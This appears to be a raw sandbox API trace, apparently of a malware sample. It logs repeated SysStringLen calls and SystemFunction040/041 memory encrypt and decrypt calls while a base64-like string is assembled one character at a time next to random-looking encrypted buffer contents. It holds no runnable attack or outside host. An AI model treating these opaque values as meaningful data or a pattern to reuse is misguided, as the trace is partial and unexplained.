SysStringLen (param_1="YWM1O") returned 0x8 [0128.666] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.666] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.666] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.666] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.667] SysStringLen (param_1="YWM1OT") returned 0x8 [0128.667] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.667] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.667] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.667] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.667] SysStringLen (param_1="YWM1OTE") returned 0x8 [0128.667] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.667] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.667] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.667] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.667] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0128.667] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.667] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.667] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.667] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.668] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0128.668] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.668] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0128.668] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.668] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.668] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0128.668] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0128.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0128.668] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.668] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0128.668] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0128.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0128.668] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.668] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0128.668] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0128.668] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0128.669] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.669] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0128.669] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.669] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0128.669] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0128.669] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.669] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0128.669] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.669] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0128.669] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0128.669] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.669] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0128.669] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.669] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0128.669] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0128.669] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.669] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0128.669] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.669] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.670] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.670] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.670] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0128.670] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.670] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0128.670] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.670] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0128.670] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0128.670] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.670] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0128.670] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.670] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0128.670] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0128.670] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.670] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0128.670] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.670] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0128.670] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0128.670] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.670] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0128.670] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.671] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0128.671] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0128.671] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.671] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0128.671] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.671] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0128.671] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0128.671] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.671] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0128.671] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.671] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0128.671] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0128.671] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.671] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0128.671] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.671] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0128.671] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0128.671] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.671] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0128.671] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.671] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0128.672] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.672] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0128.672] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0128.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0128.672] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.672] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0128.672] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0128.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0128.672] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.672] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0128.672] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0128.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0128.672] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.672] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0128.673] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0128.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0128.673] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.673] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0128.673] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0128.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0128.673] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.673] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0128.673] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0128.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0128.673] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.673] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0128.673] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0128.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0128.673] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.673] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0128.673] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0128.674] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.674] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0128.674] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0128.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0128.674] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.674] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0128.674] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0128.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0128.674] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.674] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0128.674] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.674] 